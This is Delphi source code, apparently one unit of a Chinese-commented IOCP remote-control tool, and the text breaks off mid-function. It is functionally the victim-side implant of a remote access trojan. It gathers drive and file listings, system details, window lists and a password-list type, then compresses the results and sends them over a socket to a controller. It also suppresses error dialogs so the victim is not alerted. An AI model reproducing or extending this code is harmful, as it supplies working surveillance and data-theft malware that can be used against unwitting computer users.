publicfunctionunit.pas

delphi源代码。iocp远控比较完整的代码

//得到磁盘列表和相关信息
procedure GetDriversInf(var ListItemTableStr : string);
var
  szBuf : array[0..99]of Char;
  StrLen, i : DWORD;
  // 获得磁盘大小
  tmpStr : string;
  lpDirectoryName : string; // directory name
  lpFreeBytesAvailable : int64; // bytes available to caller
  lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes : int64; // bytes on disk
  //图标index
  imageIndex : integer;
begin
  ZeroMemory(@szBuf[0], sizeof(szBuf));
  StrLen := GetLogicalDriveStrings(sizeof(szBuf), szBuf);
  i := 0;
  //直接将A盘躲过
  if (szBuf[0] = 'A') or (szBuf[0] = 'a') then
    i := 4;
  while i < StrLen do
  begin
    try
      //告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
      SetErrorMode(SEM_FAILCRITICALERRORS);
      lpDirectoryName := PChar(@szBuf[i]);
      if not GetDiskFreeSpaceEx(Pchar(lpDirectoryName), lpFreeBytesAvailable,
        lpTotalNumberOfBytes, @lpTotalNumberOfFreeBytes) then
      begin
        lpTotalNumberOfBytes := 0;
        lpTotalNumberOfFreeBytes := 0;
      end;
      imageIndex := 4;
      tmpStr := '本地磁盘';
      case GetDriveType(Pchar(lpDirectoryName)) of
        DRIVE_FIXED:
        begin
          tmpStr := '本地磁盘';
          imageIndex := 4;
        end;
        DRIVE_REMOTE:
        begin
          tmpStr := '网络磁盘';
          imageIndex := 6;
        end;
        DRIVE_CDROM:
        begin
          tmpStr := 'CD驱动器';
          imageIndex := 10;// 
        end;
      end;
      ListItemTableStr := ListItemTableStr +
        '<item text="' + lpDirectoryName + // 盘符
        '" Description="' + tmpStr + //分区名
        '" TotalSpace="' + IntToHex(DWORD(lpTotalNumberOfBytes div 1024), 8) +
        '" FreeSpace="' + IntToHex(DWORD(lpTotalNumberOfFreeBytes div 1024), 8) +
        '" imageIndex="' + IntToStr(imageIndex) + //分区名
        '"/>';
      Inc(i, Length(lpDirectoryName) + 1);
    except

    end;
  end;
end;

// Process one found file
procedure ProcessFoundFile(FindData : TWin32FindData;
  var ListItemTableStr : string; const FilePath : string);
begin
  with FindData do
  begin
    if (cFileName[0] <> '.') then
      ListItemTableStr := ListItemTableStr +
        '<item text="' + cFileName + // short file name
        '" FileName="' + FilePath + cFileName + // long file name --fullpath
        '" FleSizeH="' + IntToHex(nFileSizeHigh, 8) +
        '" FleSizeL="' + IntToHex(nFileSizeLow, 8) +
        '" FileLastWriteTimeH="' + IntToHex(ftLastWriteTime.dwHighDateTime, 8) +
        '" FileLastWriteTimeL="' + IntToHex(ftLastWriteTime.dwLowDateTime, 8) +
        '" IsDirectory="' + IntToStr(Byte(DirectoryExists(FilePath + cFileName))) +
        '"/>';
   end;  // with FindData
end;

//获取列表，并发送
procedure GetListAndSend(const Socket : TSocket; const FilePath : string;
  const EnterSubDir : Boolean = False; const XMLType : TXMLType = NothingType);
var
  ListItemTableStr : string;
  //将把这个发出去
  ListItemTableDataBuffer : Pointer;
  myDataHeaderInfo : TDataHeaderInfo;
  CompressedDataSize : longint;
  procedure FindDirFilesAndWriteXMlStr;
  var
    FindData : TWin32FindData;
    FileHandle : THandle;
  begin
    FileHandle := FindFirstFile(PChar(FilePath + '\*.*'), FindData);
    if FileHandle = INVALID_HANDLE_VALUE then exit;
    ProcessFoundFile(FindData, ListItemTableStr, FilePath); // Process the first found file
    while FindNextFile(FileHandle, FindData) do
    begin
      ProcessFoundFile(FindData, ListItemTableStr, FilePath);
      if (EnterSubDir) and (FindData.cFileName[0] <> '.') then
        FindDirFilesAndWriteXMlStr;
    end;
    Windows.FindClose(FileHandle); // Close the file handle
  end;
begin 
  case XMLType of
    NothingType:
      Exit;
    FileListTypeDir,
    FileListTypeDriver:
    begin
      if FilePath <> '' then
      //得到文件列表
      begin
        //写入列表类型 1=文件列表         //先占用4字节，以便写入串长度
        ListItemTableStr := IntToStr(Byte(FileListTypeDir)) + 'aaaa';
        ListItemTableStr := ListItemTableStr + '<?xml version="1.0" encoding="UNICODE"?><tree2xml app="Project1.exe">';
        FindDirFilesAndWriteXMlStr;
      end
      else
      //得到磁盘信息
      begin
        //写入列表类型 2=磁盘信息
        ListItemTableStr := IntToStr(Byte(FileListTypeDriver)) + 'aaaa';
        ListItemTableStr := ListItemTableStr + '<?xml version="1.0" encoding="UNICODE"?><tree2xml app="Project1.exe">';
        GetDriversInf(ListItemTableStr);
      end;
    end;
    SystemInfoType,
    WindowsListType,
    ProcessListType,
    ServiceListType,
    PasswordListType:
    begin
      //获取列表的
      ListItemTableStr := IntToStr(Byte(XMLType)) + 'aaaa';
      ListItemTableStr := ListItemTableStr + '<?xml version="1.0" encoding="UNICODE"?><tree2xml app="Project1.exe">';
                                             //这个时候代表的是主机信息
      ListItemTableStr := ListItemTableStr + FilePath;
    end;
  end;
  //写入xml文件尾部
  ListItemTableStr := ListItemTableStr + '</tree2xml>';
  //得到buffer大小
  myDataHeaderInfo.UnCompressedDataSize := Length(ListItemTableStr);
  //将数据写入发送缓冲区
  GetMem(ListItemTableDataBuffer, myDataHeaderInfo.UnCompressedDataSize * 2);
  //写入串的长度
  CopyMemory(Pointer(DWORD(PChar(ListItemTableStr)) + 1),
    @myDataHeaderInfo.UnCompressedDataSize, sizeof(DWORD));
  //lzo压缩
 {$IFDEF _MiniLzo}
  myDataHeaderInfo.CompressedDataSize := CompressData(PChar(ListItemTableStr),
    myDataHeaderInfo.UnCompressedDataSize, ListItemTableDataBuffer);
 {$ELSE}
  //zlib压缩
  ZCompress(PChar(ListItemTableStr), myDataHeaderInfo.UnCompressedDataSize,
    ListItemTableDataBuffer, CompressedDataSize);
  myDataHeaderInfo.CompressedDataSize := CompressedDataSize;
 {$ENDIF}
  //发送数据,如果返回的结果是SOCKET_ERROR，说明网络连接出现问题，结束线程
  if SendAllTheData(Socket, ListItemTableDataBuffer,
    myDataHeaderInfo.CompressedDataSize, myDataHeaderInfo.UnCompressedDataSize) = SOCKET_ERROR then
  begin
    Sleep(20);
  end;
  //释放内存
  if ListItemTableDataBuffer <> nil then FreeMem(ListItemTableDataBuffer);
end;

(*----------------------------以下函数是功能函数-----------------------------*)

//测试CPU速度--这个是将double转化为dword以后，在转化为hex的，注意转换回来 
function GetCPUSpeed : string;
const
  DelayTime = 500;
var
  TimerHi, TimerLo : DWORD;
  PriorityClass, Priority : Integer;
begin
  PriorityClass := GetPriorityClass(GetCurrentProcess);
  Priority := GetThreadPriority(GetCurrentThread);
  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL); 
  Sleep(10);
  asm
    dw 310Fh
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  Sleep(DelayTime);
  asm
    dw 310Fh
    sub eax, TimerLo
    sbb edx, TimerHi
    mov TimerLo, eax
    mov TimerHi, edx
  end;
  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);
  //dword转化为hex
  Result := IntToHex(TimerLo, 8);
end;

//物理内存
function Phymemery : string;
var
  meminfo : memorystatus;
begin
  meminfo.dwLength := sizeof(memorystatus);
  GlobalMemoryStatus(meminfo);
  Result := IntToStr(meminfo.dwTotalPhys div 1024) + 'KB';
end;

//得到操作系统信息
function GetWindowsInfo : string;
var
  SystemVersion : TOSVersionInfo;
  osVersion : string;
begin
  ZeroMemory(@SystemVersion, sizeof(SystemVersion));
  SystemVersion.dwOSVersionInfoSize := sizeof(SystemVersion);
  GetVersionEx(SystemVersion);
  osVersion := 'win98 ';
  case SystemVersion.dwMajorVersion of
    5:
    begin
      case SystemVersion.dwMinorVersion of
        0:
          osVersion := 'Win2000 ';
        1:
          osVersion := 'WinXP ';
        2:
          osVersion := 'WinServe2003 ';
      end;
    end;
    6:
    begin
      osVersion := 'WinVista ';
    end;
  end;
  osVersion := osVersion + 'Build ' +
    IntToStr(SystemVersion.dwBuildNumber) + ' ' + SystemVersion.szCSDVersion;
  Result := osVersion; 
end;

//系统文件夹路径
function Syspath : string;
var
  sysdir : array [0..255] of char;
begin
  GetSystemDirectory(sysdir, 255);
  Result := sysdir;
  if copy(Result, length(Result), 1) <> '\' then
  Result := Result + '\';
end;

//安装目录路径
function Windowspath : string;
var
  sysdir : array [0..255] of char;
begin
  GetWindowsDirectory(sysdir, 255);
  Result := sysdir;
  if copy(Result, length(Result), 1) <> '\' then
  Result := Result + '\';
end;

//临时文件夹路径 
function Temppath : string;
var
  tmpdir : array [0..255] of char;
begin
  ZeroMemory(@tmpdir[0], sizeof(tmpdir));
  GetTempPath(255, @tmpdir);
  Result := tmpdir;
  if copy(Result, length(Result), 1) <> '\' then
  Result := Result + '\';
end;

//主机开机时间
function Getopentime : string;
var
  h, m, s : integer;
begin
  h := (GetTickCount div 1000) div 3600;
  s := (GetTickCount div 1000) mod 60;
  m := integer(GetTickCount div 1000) div 60 - h * 60;
  Result := IntToStr(h) + ':' + IntToStr(m) + ':' + IntToStr(s);
end;

//计算机名称
function Computername : string;
var
  temp : PChar;
  size : DWord;
begin
   GetMem(temp, 255);
   size := 255;
   if GetComputerName(temp, size) = False then
     begin
       FreeMem(temp);
       exit;
     end;
   computername := temp;
   FreeMem(temp);
end;

//窗口分辨率
function Windowssize : string;
begin
  Result := IntToStr(GetSystemMetrics(SM_CXSCREEN))
    + 'X' + IntToStr(GetSystemMetrics(SM_CYSCREEN));
end;

//发送主机相关的信息
procedure SendClientSystemInfo(const Socket : TSocket);
var
  ListItemTableStr : string;
  i : integer;
  myComputername : string;
begin
  ListItemTableStr := '';
  myComputername := Computername;
  if myComputername <> '' then
    for i := 1 to Length(myComputername) do
      if (myComputername[i] = '&') or (myComputername[i] = '<') or (myComputername[i] = '>') then
        myComputername[i] := '_';
  ListItemTableStr := ListItemTableStr +
    '<item ServerUseSelfDefine="' + ServerUseSelfDefine +
    '" CPUSpeed="' + GetCPUSpeed +
    '" phymemery="' + Phymemery +
    '" OSVersion="' + GetWindowsInfo +
    '" Computername="' + myComputername +
    '" OpenTime="' + Getopentime +
    '" ScreenPixel="' + Windowssize +
    '" ClientVersion="' + ClientVersion +
    '" SysPath="' + Syspath +
    '" WindowsPath="' + Windowspath +
    '" tpmPath="' + Temppath +
    '"/>';
  GetListAndSend(Socket, ListItemTableStr, False, SystemInfoType);
end;

//根据ID得到程序路径
function GetAppFromProcID(ID : Cardinal): string;
var
  hSnap : Cardinal;
  me32 : TMODULEENTRY32;
begin
  hSnap := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, ID);
  if hSnap = INVALID_HANDLE_VALUE then
  begin
    CloseHandle(hSnap);
    Exit;
  end;
  me32.dwSize := sizeof(TMODULEENTRY32);;
  Module32First(hSnap, me32);
  result := me32.szExePath;
  CloseHandle(hSnap); 
end;

//枚举所有主窗体的回调函数
function EnumWindowsProc(const hWnd : Longword; Param: lParam): LongBool; stdcall;
var
  ProcID: Cardinal;
  title : array[0..109] of char;
  classname : array[0..94] of char;
  titleStr, classnameStr : string;
  //AppPath : string;
  i : integer;
begin
  Result := True;
  GetWindowThreadProcessID(hWnd, @ProcID);
  if ProcID > 0 then
  begin
    //得到类名
    ZeroMemory(@classname[0], sizeof(classname));
    GetClassName(hwnd, classname, sizeof(classname));
    classnameStr := classname;
    //得到标题
    ZeroMemory(@title[0], sizeof(title));
    GetWindowText(hwnd, title, sizeof(title));
    titleStr := title;
    //只显示主窗体
    if GetParent(hwnd) = 0 then
    begin
      {AppPath := GetAppFromProcID(ProcID);
      if AppPath <> '' then
        for i := 1 to Length(AppPath) do
          if (AppPath[i] = '&') then
            AppPath[i] := '?';}
      if titleStr <> '' then
        for i := 1 to Length(titleStr) do
          if (titleStr[i] = '&') or (titleStr[i] = '<') or (titleStr[i] = '>') then
            titleStr[i] := '_';
      if titleStr <> '' then
        for i := 1 to Length(classnameStr) do
          if (classnameStr[i] = '&') or (classnameStr[i] = '<') or (classnameStr[i] = '>') then
            classnameStr[i] := '_';
      if not IsWindowVisible(hwnd) then//是否显示隐藏窗体
        WindowListStr := WindowListStr + '<item IsVisibleWindow="' + 'Yes'
      else